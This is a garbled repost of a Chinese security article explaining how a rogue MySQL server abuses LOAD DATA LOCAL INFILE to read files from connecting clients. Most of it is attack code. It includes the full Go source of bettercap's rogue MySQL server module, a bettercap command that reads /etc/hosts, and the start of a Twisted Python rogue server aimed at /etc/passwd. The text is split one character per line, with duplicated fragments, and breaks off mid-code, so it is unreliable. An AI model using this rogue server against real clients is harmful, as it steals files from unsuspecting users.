论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
云安全
[13407] 2018-11-12_从MySQL出发的反击之路
文档创建者:
s7ckTeam
浏览次数:
1
最后更新:
2025-01-18
云安全
1 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2018-11-12_从MySQL出发的反击之路
从
M
y
S
Q
L
出
发
的
反
击
之
路
F
r
e
e
B
u
f
2
0
1
8
-
1
1
-
1
2
以
下
文
章
来
源
于
美
丽
联
合
集
团
安
全
应
急
响
应
中
心
,
作
者
4
0
h
u
o
某
天
看
到
某
天
看
到
l
i
g
h
t
l
e
s
s
师
傅
的
文
章
师
傅
的
文
章
R
e
a
d
M
y
S
Q
L
C
l
i
e
n
t
'
s
F
i
l
e
,
觉
得
这
个
「
漏
洞
」
真
的
非
常
神
奇
,
小
小
研
究
了
一
,
觉
得
这
个
「
漏
洞
」
真
的
非
常
神
奇
,
小
小
研
究
了
一
下
具
体
的
利
用
。
下
具
体
的
利
用
。
0
x
0
0
漏
洞
原
理
漏
洞
原
理
几
篇
参
考
文
章
已
经
将
原
理
说
的
比
较
清
楚
了
,
问
题
出
在
的
地
方
,
该
功
能
是
用
于
读
取
客
户
端
上
的
一
个
文
件
,
并
将
其
内
容
导
入
到
一
张
表
中
。
在
M
y
S
Q
L
连
接
建
立
的
阶
段
会
有
一
个
必
要
的
步
骤
,
即
客
户
端
和
服
务
端
交
换
各
自
功
能
如
果
需
要
则
创
建
S
S
L
通
信
通
道
服
务
端
认
证
客
户
端
身
份
还
有
一
个
必
要
的
条
件
就
是
M
y
S
Q
L
协
议
中
,
客
户
端
是
不
会
存
储
自
身
请
求
的
,
而
是
通
过
服
务
端
的
响
应
来
执
行
操
作
。
配
合
这
两
点
就
可
以
发
现
,
我
们
可
以
恶
意
模
拟
M
y
S
Q
L
服
务
端
的
身
份
认
证
过
程
,
等
待
客
户
端
的
S
Q
L
查
询
,
然
后
响
应
时
返
回
一
个
请
求
,
客
户
端
即
根
据
响
应
内
容
上
传
了
本
机
的
文
件
。
借
用
l
i
g
h
t
l
e
s
s
师
傅
的
描
述
,
正
常
的
请
求
流
程
为
客
户
端
:
h
i
~
我
将
把
我
的
文
件
给
你
插
入
到
表
中
!
服
务
端
:
O
K
,
读
取
你
本
地
文
件
并
发
给
我
!
客
户
端
:
这
是
文
件
内
容
:
!
而
恶
意
的
流
程
为
客
户
端
:
h
i
~
我
将
把
我
的
文
件
给
你
插
入
到
表
中
!
服
务
端
:
O
K
,
读
取
你
本
地
的
文
件
并
发
给
我
!
客
户
端
:
这
是
文
件
内
容
:
(
文
件
的
内
容
)
!
所
以
,
只
需
要
客
户
端
在
连
接
服
务
端
后
发
送
一
个
查
询
请
求
,
即
可
读
取
到
客
户
端
的
本
地
文
件
,
而
常
见
的
M
y
S
Q
L
客
户
端
都
会
在
建
立
连
接
后
发
送
一
个
请
求
用
来
判
断
服
务
端
的
版
本
或
其
他
信
息
,
这
就
使
得
这
一
「
漏
洞
」
几
乎
可
以
影
响
所
有
的
M
y
S
Q
L
客
户
端
。
客
户
端
:
h
i
~
告
诉
我
你
的
版
本
!
美
丽
联
合
集
团
安
全
应
急
响
应
中
心
美
丽
联
合
集
团
安
全
应
急
响
应
中
心
.
美
联
安
全
应
急
响
应
中
心
(
M
L
S
R
C
)
官
方
微
信
L
O
A
D
D
A
T
A
I
N
F
I
L
E
L
O
A
D
D
A
T
A
d
a
t
a
.
c
s
v
t
e
s
t
d
a
t
a
.
c
s
v
b
a
l
a
b
a
l
d
a
t
a
.
c
s
v
t
e
s
t
/
e
t
c
/
p
a
s
s
w
d
b
a
l
a
b
a
l
/
e
t
c
/
p
a
s
s
w
d
服
务
端
:
O
K
,
读
取
你
本
地
的
文
件
并
发
给
我
!
客
户
端
:
这
是
文
件
内
容
:
(
文
件
的
内
容
)
!
0
x
0
1
已
有
的
利
用
已
有
的
利
用
B
e
t
t
e
r
c
a
p
已
经
集
成
好
了
一
个
恶
意
的
M
y
S
Q
L
服
务
器
,
可
以
在
项
目
W
i
k
i
中
找
到
详
细
的
说
明
,
使
用
也
非
常
简
单
。
相
关
代
码
在
m
y
s
q
l
_
s
e
r
v
e
r
.
g
o
。
/
e
t
c
/
p
a
s
s
w
d
b
a
l
a
b
a
l
/
e
t
c
/
p
a
s
s
w
d
$
s
u
d
o
b
e
t
t
e
r
c
a
p
-
e
v
a
l
"
s
e
t
m
y
s
q
l
.
s
e
r
v
e
r
.
i
n
f
i
l
e
/
e
t
c
/
h
o
s
t
s
;
m
y
s
q
l
.
s
e
r
v
e
r
o
n
"
p
a
c
k
a
g
e
m
o
d
u
l
e
s
i
m
p
o
r
t
(
"
b
u
f
i
o
"
"
b
y
t
e
s
"
"
f
m
t
"
"
i
o
/
i
o
u
t
i
l
"
"
n
e
t
"
"
s
t
r
i
n
g
s
"
"
g
i
t
h
u
b
.
c
o
m
/
b
e
t
t
e
r
c
a
p
/
b
e
t
t
e
r
c
a
p
/
l
o
g
"
"
g
i
t
h
u
b
.
c
o
m
/
b
e
t
t
e
r
c
a
p
/
b
e
t
t
e
r
c
a
p
/
p
a
c
k
e
t
s
"
"
g
i
t
h
u
b
.
c
o
m
/
b
e
t
t
e
r
c
a
p
/
b
e
t
t
e
r
c
a
p
/
s
e
s
s
i
o
n
"
"
g
i
t
h
u
b
.
c
o
m
/
e
v
i
l
s
o
c
k
e
t
/
i
s
l
a
z
y
/
t
u
i
"
)
t
y
p
e
M
y
S
Q
L
S
e
r
v
e
r
s
t
r
u
c
t
{
s
e
s
s
i
o
n
.
S
e
s
s
i
o
n
M
o
d
u
l
e
a
d
d
r
e
s
s
*
n
e
t
.
T
C
P
A
d
d
r
l
i
s
t
e
n
e
r
*
n
e
t
.
T
C
P
L
i
s
t
e
n
e
r
i
n
f
i
l
e
s
t
r
i
n
g
o
u
t
f
i
l
e
s
t
r
i
n
g
}
f
u
n
c
N
e
w
M
y
S
Q
L
S
e
r
v
e
r
(
s
*
s
e
s
s
i
o
n
.
S
e
s
s
i
o
n
)
*
M
y
S
Q
L
S
e
r
v
e
r
{
m
y
s
q
l
:
=
&
M
y
S
Q
L
S
e
r
v
e
r
{
S
e
s
s
i
o
n
M
o
d
u
l
e
:
s
e
s
s
i
o
n
.
N
e
w
S
e
s
s
i
o
n
M
o
d
u
l
e
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
,
s
)
,
}
m
y
s
q
l
.
A
d
d
P
a
r
a
m
(
s
e
s
s
i
o
n
.
N
e
w
S
t
r
i
n
g
P
a
r
a
m
e
t
e
r
(
"
m
y
s
q
l
.
s
e
r
v
e
r
.
i
n
f
i
l
e
"
,
"
/
e
t
c
/
p
a
s
s
w
d
"
,
"
"
,
"
F
i
l
e
y
o
u
w
a
n
t
t
o
r
e
a
d
.
U
N
C
p
a
t
h
s
a
r
e
a
l
s
o
s
u
p
p
o
r
t
e
d
.
"
)
)
m
y
s
q
l
.
A
d
d
P
a
r
a
m
(
s
e
s
s
i
o
n
.
N
e
w
S
t
r
i
n
g
P
a
r
a
m
e
t
e
r
(
"
m
y
s
q
l
.
s
e
r
v
e
r
.
o
u
t
f
i
l
e
"
,
"
"
,
"
"
,
"
I
f
f
i
l
l
e
d
,
t
h
e
I
N
F
I
L
E
b
u
f
f
e
r
w
i
l
l
b
e
s
a
v
e
d
t
o
t
h
i
s
p
a
t
h
i
n
s
t
e
a
d
o
f
b
e
i
n
g
l
o
g
g
e
d
.
"
)
)
m
y
s
q
l
.
A
d
d
P
a
r
a
m
(
s
e
s
s
i
o
n
.
N
e
w
S
t
r
i
n
g
P
a
r
a
m
e
t
e
r
(
"
m
y
s
q
l
.
s
e
r
v
e
r
.
a
d
d
r
e
s
s
"
,
s
e
s
s
i
o
n
.
P
a
r
a
m
I
f
a
c
e
A
d
d
r
e
s
s
,
s
e
s
s
i
o
n
.
I
P
v
4
V
a
l
i
d
a
t
o
r
,
"
A
d
d
r
e
s
s
t
o
b
i
n
d
t
h
e
m
y
s
q
l
s
e
r
v
e
r
t
o
.
"
)
)
m
y
s
q
l
.
A
d
d
P
a
r
a
m
(
s
e
s
s
i
o
n
.
N
e
w
I
n
t
P
a
r
a
m
e
t
e
r
(
"
m
y
s
q
l
.
s
e
r
v
e
r
.
p
o
r
t
"
,
"
3
3
0
6
"
,
"
P
o
r
t
t
o
b
i
n
d
t
h
e
m
y
s
q
l
s
e
r
v
e
r
t
o
.
"
)
)
m
y
s
q
l
.
A
d
d
H
a
n
d
l
e
r
(
s
e
s
s
i
o
n
.
N
e
w
M
o
d
u
l
e
H
a
n
d
l
e
r
(
"
m
y
s
q
l
.
s
e
r
v
e
r
o
n
"
,
"
"
,
"
S
t
a
r
t
m
y
s
q
l
s
e
r
v
e
r
.
"
,
f
u
n
c
(
a
r
g
s
[
]
s
t
r
i
n
g
)
e
r
r
o
r
{
r
e
t
u
r
n
m
y
s
q
l
.
S
t
a
r
t
(
)
}
)
)
m
y
s
q
l
.
A
d
d
H
a
n
d
l
e
r
(
s
e
s
s
i
o
n
.
N
e
w
M
o
d
u
l
e
H
a
n
d
l
e
r
(
"
m
y
s
q
l
.
s
e
r
v
e
r
o
f
f
"
,
"
"
,
"
S
t
o
p
m
y
s
q
l
s
e
r
v
e
r
.
"
,
f
u
n
c
(
a
r
g
s
[
]
s
t
r
i
n
g
)
e
r
r
o
r
{
r
e
t
u
r
n
m
y
s
q
l
.
S
t
o
p
(
)
}
)
)
r
e
t
u
r
n
m
y
s
q
l
}
f
u
n
c
(
m
y
s
q
l
*
M
y
S
Q
L
S
e
r
v
e
r
)
N
a
m
e
(
)
s
t
r
i
n
g
{
r
e
t
u
r
n
"
m
y
s
q
l
.
s
e
r
v
e
r
"
}
f
u
n
c
(
m
y
s
q
l
*
M
y
S
Q
L
S
e
r
v
e
r
)
D
e
s
c
r
i
p
t
i
o
n
(
)
s
t
r
i
n
g
{
r
e
t
u
r
n
"
A
s
i
m
p
l
e
R
o
g
u
e
M
y
S
Q
L
s
e
r
v
e
r
,
t
o
b
e
u
s
e
d
t
o
e
x
p
l
o
i
t
L
O
C
A
L
I
N
F
I
L
E
a
n
d
r
e
a
d
a
r
b
i
t
r
a
r
y
f
i
l
e
s
f
r
o
m
t
h
e
c
l
i
e
n
t
.
"
}
f
u
n
c
(
m
y
s
q
l
*
M
y
S
Q
L
S
e
r
v
e
r
)
A
u
t
h
o
r
(
)
s
t
r
i
n
g
{
r
e
t
u
r
n
"
B
e
r
n
a
r
d
o
R
o
d
r
i
g
u
e
s
(
h
t
t
p
s
:
/
/
t
w
i
t
t
e
r
.
c
o
m
/
b
e
r
n
a
r
d
o
m
r
)
"
}
f
u
n
c
(
m
y
s
q
l
*
M
y
S
Q
L
S
e
r
v
e
r
)
C
o
n
f
i
g
u
r
e
(
)
e
r
r
o
r
{
v
a
r
e
r
r
e
r
r
o
r
v
a
r
a
d
d
r
e
s
s
s
t
r
i
n
g
v
a
r
p
o
r
t
i
n
t
i
f
m
y
s
q
l
.
R
u
n
n
i
n
g
(
)
{
r
e
t
u
r
n
s
e
s
s
i
o
n
.
E
r
r
A
l
r
e
a
d
y
S
t
a
r
t
e
d
}
e
l
s
e
i
f
e
r
r
,
m
y
s
q
l
.
i
n
f
i
l
e
=
m
y
s
q
l
.
S
t
r
i
n
g
P
a
r
a
m
(
"
m
y
s
q
l
.
s
e
r
v
e
r
.
i
n
f
i
l
e
"
)
;
e
r
r
!
=
n
i
l
{
r
e
t
u
r
n
e
r
r
}
e
l
s
e
i
f
e
r
r
,
m
y
s
q
l
.
o
u
t
f
i
l
e
=
m
y
s
q
l
.
S
t
r
i
n
g
P
a
r
a
m
(
"
m
y
s
q
l
.
s
e
r
v
e
r
.
o
u
t
f
i
l
e
"
)
;
e
r
r
!
=
n
i
l
{
r
e
t
u
r
n
e
r
r
}
e
l
s
e
i
f
e
r
r
,
a
d
d
r
e
s
s
=
m
y
s
q
l
.
S
t
r
i
n
g
P
a
r
a
m
(
"
m
y
s
q
l
.
s
e
r
v
e
r
.
a
d
d
r
e
s
s
"
)
;
e
r
r
!
=
n
i
l
{
r
e
t
u
r
n
e
r
r
}
e
l
s
e
i
f
e
r
r
,
p
o
r
t
=
m
y
s
q
l
.
I
n
t
P
a
r
a
m
(
"
m
y
s
q
l
.
s
e
r
v
e
r
.
p
o
r
t
"
)
;
e
r
r
!
=
n
i
l
{
r
e
t
u
r
n
e
r
r
}
e
l
s
e
i
f
m
y
s
q
l
.
a
d
d
r
e
s
s
,
e
r
r
=
n
e
t
.
R
e
s
o
l
v
e
T
C
P
A
d
d
r
(
"
t
c
p
"
,
f
m
t
.
S
p
r
i
n
t
f
(
"
%
s
:
%
d
"
,
a
d
d
r
e
s
s
,
p
o
r
t
)
)
;
e
r
r
!
=
n
i
l
{
r
e
t
u
r
n
e
r
r
}
e
l
s
e
i
f
m
y
s
q
l
.
l
i
s
t
e
n
e
r
,
e
r
r
=
n
e
t
.
L
i
s
t
e
n
T
C
P
(
"
t
c
p
"
,
m
y
s
q
l
.
a
d
d
r
e
s
s
)
;
e
r
r
!
=
n
i
l
{
r
e
t
u
r
n
e
r
r
}
r
e
t
u
r
n
n
i
l
}
f
u
n
c
(
m
y
s
q
l
*
M
y
S
Q
L
S
e
r
v
e
r
)
S
t
a
r
t
(
)
e
r
r
o
r
{
i
f
e
r
r
:
=
m
y
s
q
l
.
C
o
n
f
i
g
u
r
e
(
)
;
e
r
r
!
=
n
i
l
{
r
e
t
u
r
n
e
r
r
}
r
e
t
u
r
n
m
y
s
q
l
.
S
e
t
R
u
n
n
i
n
g
(
t
r
u
e
,
f
u
n
c
(
)
{
l
o
g
.
I
n
f
o
(
"
[
%
s
]
s
e
r
v
e
r
s
t
a
r
t
i
n
g
o
n
a
d
d
r
e
s
s
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
m
y
s
q
l
.
a
d
d
r
e
s
s
)
f
o
r
m
y
s
q
l
.
R
u
n
n
i
n
g
(
)
{
i
f
c
o
n
n
,
e
r
r
:
=
m
y
s
q
l
.
l
i
s
t
e
n
e
r
.
A
c
c
e
p
t
T
C
P
(
)
;
e
r
r
!
=
n
i
l
{
l
o
g
.
W
a
r
n
i
n
g
(
"
[
%
s
]
e
r
r
o
r
w
h
i
l
e
a
c
c
e
p
t
i
n
g
t
c
p
c
o
n
n
e
c
t
i
o
n
:
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
e
r
r
)
c
o
n
t
i
n
u
e
}
e
l
s
e
{
d
e
f
e
r
c
o
n
n
.
C
l
o
s
e
(
)
/
/
T
O
D
O
:
i
n
c
l
u
d
e
b
i
n
a
r
y
s
u
p
p
o
r
t
a
n
d
f
i
l
e
s
>
1
6
k
b
c
l
i
e
n
t
A
d
d
r
e
s
s
:
=
s
t
r
i
n
g
s
.
S
p
l
i
t
(
c
o
n
n
.
R
e
m
o
t
e
A
d
d
r
(
)
.
S
t
r
i
n
g
(
)
,
"
:
"
)
[
0
]
r
e
a
d
B
u
f
f
e
r
:
=
m
a
k
e
(
[
]
b
y
t
e
,
1
6
3
8
4
)
r
e
a
d
e
r
:
=
b
u
f
i
o
.
N
e
w
R
e
a
d
e
r
(
c
o
n
n
)
r
e
a
d
:
=
0
l
o
g
.
I
n
f
o
(
"
[
%
s
]
c
o
n
n
e
c
t
i
o
n
f
r
o
m
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
c
l
i
e
n
t
A
d
d
r
e
s
s
)
i
f
_
,
e
r
r
:
=
c
o
n
n
.
W
r
i
t
e
(
p
a
c
k
e
t
s
.
M
y
S
Q
L
G
r
e
e
t
i
n
g
)
;
e
r
r
!
=
n
i
l
{
l
o
g
.
W
a
r
n
i
n
g
(
"
[
%
s
]
e
r
r
o
r
w
h
i
l
e
w
r
i
t
i
n
g
s
e
r
v
e
r
g
r
e
e
t
i
n
g
:
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
e
r
r
)
c
o
n
t
i
n
u
e
}
e
l
s
e
i
f
r
e
a
d
,
e
r
r
=
r
e
a
d
e
r
.
R
e
a
d
(
r
e
a
d
B
u
f
f
e
r
)
;
e
r
r
!
=
n
i
l
{
l
o
g
.
W
a
r
n
i
n
g
(
"
[
%
s
]
e
r
r
o
r
w
h
i
l
e
r
e
a
d
i
n
g
c
l
i
e
n
t
m
e
s
s
a
g
e
:
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
e
r
r
)
c
o
n
t
i
n
u
e
}
/
/
p
a
r
s
e
c
l
i
e
n
t
c
a
p
a
b
i
l
i
t
i
e
s
a
n
d
v
a
l
i
d
a
t
e
c
o
n
n
e
c
t
i
o
n
/
/
T
O
D
O
:
p
a
r
s
e
m
y
s
q
l
c
o
n
n
e
c
t
i
o
n
s
p
r
o
p
e
r
l
y
a
n
d
/
/
d
i
s
p
l
a
y
a
d
d
i
t
i
o
n
a
l
c
o
n
n
e
c
t
i
o
n
a
t
t
r
i
b
u
t
e
s
c
a
p
a
b
i
l
i
t
i
e
s
:
=
f
m
t
.
S
p
r
i
n
t
f
(
"
%
0
8
b
"
,
(
i
n
t
(
u
i
n
t
3
2
(
r
e
a
d
B
u
f
f
e
r
[
4
]
)
|
u
i
n
t
3
2
(
r
e
a
d
B
u
f
f
e
r
[
5
]
)
<
<
8
)
)
)
l
o
a
d
D
a
t
a
:
=
s
t
r
i
n
g
(
c
a
p
a
b
i
l
i
t
i
e
s
[
8
]
)
u
s
e
r
n
a
m
e
:
=
s
t
r
i
n
g
(
b
y
t
e
s
.
S
p
l
i
t
(
r
e
a
d
B
u
f
f
e
r
[
3
6
:
]
,
[
]
b
y
t
e
{
0
}
)
[
0
]
)
l
o
g
.
I
n
f
o
(
"
[
%
s
]
c
a
n
u
s
e
L
O
A
D
D
A
T
A
L
O
C
A
L
:
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
l
o
a
d
D
a
t
a
)
l
o
g
.
I
n
f
o
(
"
[
%
s
]
l
o
g
i
n
r
e
q
u
e
s
t
u
s
e
r
n
a
m
e
:
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
t
u
i
.
B
o
l
d
(
u
s
e
r
n
a
m
e
)
)
i
f
_
,
e
r
r
:
=
c
o
n
n
.
W
r
i
t
e
(
p
a
c
k
e
t
s
.
M
y
S
Q
L
F
i
r
s
t
R
e
s
p
o
n
s
e
O
K
)
;
e
r
r
!
=
n
i
l
{
l
o
g
.
W
a
r
n
i
n
g
(
"
[
%
s
]
e
r
r
o
r
w
h
i
l
e
w
r
i
t
i
n
g
s
e
r
v
e
r
f
i
r
s
t
r
e
s
p
o
n
s
e
o
k
:
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
e
r
r
)
c
o
n
t
i
n
u
e
}
e
l
s
e
i
f
_
,
e
r
r
:
=
r
e
a
d
e
r
.
R
e
a
d
(
r
e
a
d
B
u
f
f
e
r
)
;
e
r
r
!
=
n
i
l
{
l
o
g
.
W
a
r
n
i
n
g
(
"
[
%
s
]
e
r
r
o
r
w
h
i
l
e
r
e
a
d
i
n
g
c
l
i
e
n
t
m
e
s
s
a
g
e
:
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
e
r
r
)
c
o
n
t
i
n
u
e
}
e
l
s
e
i
f
_
,
e
r
r
:
=
c
o
n
n
.
W
r
i
t
e
(
p
a
c
k
e
t
s
.
M
y
S
Q
L
G
e
t
F
i
l
e
(
m
y
s
q
l
.
i
n
f
i
l
e
)
)
;
e
r
r
!
=
n
i
l
{
l
o
g
.
W
a
r
n
i
n
g
(
"
[
%
s
]
e
r
r
o
r
w
h
i
l
e
w
r
i
t
i
n
g
s
e
r
v
e
r
g
e
t
f
i
l
e
r
e
q
u
e
s
t
:
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
e
r
r
)
c
o
n
t
i
n
u
e
}
e
l
s
e
i
f
r
e
a
d
,
e
r
r
=
r
e
a
d
e
r
.
R
e
a
d
(
r
e
a
d
B
u
f
f
e
r
)
;
e
r
r
!
=
n
i
l
{
l
o
g
.
W
a
r
n
i
n
g
(
"
[
%
s
]
e
r
r
o
r
w
h
i
l
e
r
e
a
d
i
n
d
b
u
f
f
e
r
:
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
e
r
r
)
c
o
n
t
i
n
u
e
}
i
f
s
t
r
i
n
g
s
.
H
a
s
P
r
e
f
i
x
(
m
y
s
q
l
.
i
n
f
i
l
e
,
"
"
)
{
l
o
g
.
I
n
f
o
(
"
[
%
s
]
N
T
L
M
f
r
o
m
'
%
s
'
r
e
l
a
y
e
d
t
o
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
c
l
i
e
n
t
A
d
d
r
e
s
s
,
m
y
s
q
l
.
i
n
f
i
l
e
)
不
过
这
个
s
e
r
v
e
r
实
现
的
较
为
简
单
,
只
能
用
来
临
时
用
一
下
。
另
外
又
找
到
一
个
比
较
古
老
的
P
y
t
h
o
n
实
现
,
相
关
代
码
在
r
o
g
u
e
m
y
s
q
l
s
e
r
v
e
r
.
p
y
,
测
试
了
下
也
存
在
和
B
e
t
t
e
r
c
a
p
类
似
的
问
题
,
反
正
一
共
也
就
那
么
几
个
请
求
,
完
全
可
以
自
己
来
写
,
这
样
自
由
度
更
高
一
点
。
0
x
0
2
自
行
实
现
自
行
实
现
P
y
t
h
o
n
来
做
T
C
P
通
信
,
最
常
用
的
就
是
T
w
i
s
t
e
d
了
,
这
是
一
个
功
能
非
常
完
全
的
异
步
T
C
P
框
架
,
著
名
的
S
c
r
a
p
y
爬
虫
框
架
就
是
基
于
T
w
i
s
t
e
d
的
。
仔
细
看
了
下
B
e
t
t
e
r
c
a
p
模
块
的
代
码
和
M
y
S
Q
L
文
档
,
发
现
其
实
只
需
要
四
个
响
应
,
分
别
是
首
次
连
接
的
G
r
e
e
t
i
n
g
,
第
一
次
请
求
的
F
i
r
s
t
R
e
s
p
o
n
s
e
O
K
,
读
取
文
件
的
R
e
a
d
F
i
l
e
和
第
二
次
请
求
的
S
e
c
o
n
d
R
e
s
p
o
n
s
e
O
K
,
只
要
知
道
了
响
应
,
写
T
w
i
s
t
e
d
的
协
议
就
非
常
简
单
了
。
l
o
g
.
I
n
f
o
(
"
[
%
s
]
N
T
L
M
f
r
o
m
'
%
s
'
r
e
l
a
y
e
d
t
o
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
c
l
i
e
n
t
A
d
d
r
e
s
s
,
m
y
s
q
l
.
i
n
f
i
l
e
)
}
e
l
s
e
i
f
f
i
l
e
S
i
z
e
:
=
r
e
a
d
-
9
;
f
i
l
e
S
i
z
e
<
4
{
l
o
g
.
W
a
r
n
i
n
g
(
"
[
%
s
]
u
n
p
e
x
p
e
c
t
e
d
b
u
f
f
e
r
s
i
z
e
%
d
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
r
e
a
d
)
}
e
l
s
e
{
l
o
g
.
I
n
f
o
(
"
[
%
s
]
r
e
a
d
f
i
l
e
(
%
s
)
i
s
%
d
b
y
t
e
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
m
y
s
q
l
.
i
n
f
i
l
e
,
f
i
l
e
S
i
z
e
)
f
i
l
e
D
a
t
a
:
=
r
e
a
d
B
u
f
f
e
r
[
4
:
r
e
a
d
-
4
]
i
f
m
y
s
q
l
.
o
u
t
f
i
l
e
=
=
"
"
{
l
o
g
.
I
n
f
o
(
"
n
%
s
"
,
s
t
r
i
n
g
(
f
i
l
e
D
a
t
a
)
)
}
e
l
s
e
{
l
o
g
.
I
n
f
o
(
"
[
%
s
]
s
a
v
i
n
g
t
o
%
s
.
.
.
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
m
y
s
q
l
.
o
u
t
f
i
l
e
)
i
f
e
r
r
:
=
i
o
u
t
i
l
.
W
r
i
t
e
F
i
l
e
(
m
y
s
q
l
.
o
u
t
f
i
l
e
,
f
i
l
e
D
a
t
a
,
0
7
5
5
)
;
e
r
r
!
=
n
i
l
{
l
o
g
.
W
a
r
n
i
n
g
(
"
[
%
s
]
e
r
r
o
r
w
h
i
l
e
s
a
v
i
n
g
t
h
e
f
i
l
e
:
%
s
"
,
t
u
i
.
G
r
e
e
n
(
"
m
y
s
q
l
.
s
e
r
v
e
r
"
)
,
e
r
r
)
}
}
}
c
o
n
n
.
W
r
i
t
e
(
p
a
c
k
e
t
s
.
M
y
S
Q
L
S
e
c
o
n
d
R
e
s
p
o
n
s
e
O
K
)
}
}
}
)
}
f
u
n
c
(
m
y
s
q
l
*
M
y
S
Q
L
S
e
r
v
e
r
)
S
t
o
p
(
)
e
r
r
o
r
{
r
e
t
u
r
n
m
y
s
q
l
.
S
e
t
R
u
n
n
i
n
g
(
f
a
l
s
e
,
f
u
n
c
(
)
{
d
e
f
e
r
m
y
s
q
l
.
l
i
s
t
e
n
e
r
.
C
l
o
s
e
(
)
}
)
}
c
l
a
s
s
M
y
S
Q
L
P
r
o
t
o
c
o
l
(
P
r
o
t
o
c
o
l
)
:
"
"
"
M
y
S
Q
L
协
议
"
"
"
G
R
E
E
T
I
N
G
,
F
I
R
S
T
_
R
E
S
P
,
S
E
C
O
N
D
_
R
E
S
P
,
F
I
L
E
_
R
E
A
D
=
r
a
n
g
e
(
4
)
S
T
A
T
E
=
{
G
R
E
E
T
I
N
G
:
'
G
R
E
E
T
I
N
G
'
,
F
I
R
S
T
_
R
E
S
P
:
'
F
I
R
S
T
_
R
E
S
P
'
,
S
E
C
O
N
D
_
R
E
S
P
:
'
S
E
C
O
N
D
_
R
E
S
P
'
,
F
I
L
E
_
R
E
A
D
:
'
F
I
L
E
_
R
E
A
D
'
,
}
d
e
f
_
_
i
n
i
t
_
_
(
s
e
l
f
)
:
s
u
p
e
r
(
M
y
S
Q
L
P
r
o
t
o
c
o
l
,
s
e
l
f
)
.
_
_
i
n
i
t
_
_
(
)
s
e
l
f
.
s
t
a
t
e
=
s
e
l
f
.
G
R
E
E
T
I
N
G
s
e
l
f
.
l
o
g
g
e
r
=
L
o
g
g
e
r
(
_
_
n
a
m
e
_
_
)
.
g
e
t
_
l
o
g
g
e
r
(
)
d
e
f
c
o
n
n
e
c
t
i
o
n
M
a
d
e
(
s
e
l
f
)
:
m
s
g
=
f
'
G
o
t
a
n
e
w
c
o
n
n
e
c
t
i
o
n
f
r
o
m
{
s
e
l
f
.
t
r
a
n
s
p
o
r
t
.
h
o
s
t
n
a
m
e
}
'
s
e
l
f
.
l
o
g
g
e
r
.
i
n
f
o
(
m
s
g
)
#
G
r
e
e
t
i
n
g
m
y
s
q
l
_
g
r
e
e
t
i
n
g
=
b
y
t
e
s
.
f
r
o
m
h
e
x
(
'
5
b
0
0
0
0
0
0
0
a
3
5
2
e
3
6
2
e
3
2
3
8
2
d
3
0
7
5
6
2
7
5
6
e
7
4
7
5
3
0
2
e
3
1
3
4
2
e
3
0
3
4
2
e
3
1
0
0
2
d
0
0
0
0
0
0
4
0
3
f
5
9
2
6
4
b
2
b
3
4
6
0
0
0
f
f
f
7
0
8
0
2
0
0
7
f
8
0
1
5
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
6
8
6
9
5
9
5
f
5
2
5
f
6
3
5
5
6
0
6
4
5
3
5
2
0
0
6
d
7
9
7
3
7
1
6
c
5
f
6
e
6
1
7
4
6
9
7
6
6
5
5
f
7
0
6
1
7
3
7
3
7
7
6
f
7
2
6
4
0
0
'
)
i
f
s
e
l
f
.
s
t
a
t
e
=
=
s
e
l
f
.
G
R
E
E
T
I
N
G
:
#
发
送
G
R
E
E
T
I
N
G
包
s
e
l
f
.
t
r
a
n
s
p
o
r
t
.
w
r
i
t
e
(
m
y
s
q
l
_
g
r
e
e
t
i
n
g
)
s
e
l
f
.
s
t
a
t
e
=
s
e
l
f
.
F
I
R
S
T
_
R
E
S
P
d
e
f
c
o
n
n
e
c
t
i
o
n
L
o
s
t
(
s
e
l
f
,
r
e
a
s
o
n
=
c
o
n
n
e
c
t
i
o
n
D
o
n
e
)
:
m
s
g
=
f
'
{
s
e
l
f
.
t
r
a
n
s
p
o
r
t
.
h
o
s
t
n
a
m
e
}
d
i
s
c
o
n
n
e
c
t
e
d
'
s
e
l
f
.
l
o
g
g
e
r
.
i
n
f
o
(
m
s
g
)
d
e
f
d
a
t
a
R
e
c
e
i
v
e
d
(
s
e
l
f
,
d
a
t
a
)
:
f
i
l
e
n
a
m
e
s
=
(
'
/
e
t
c
/
p
a
s
s
w
d
'
,
'
/
e
t
c
/
h
o
s
t
s
'
)
#
F
i
r
s
t
r
e
s
p
o
n
s
e
o
k
f
i
r
s
t
_
r
e
s
p
o
n
s
e
_
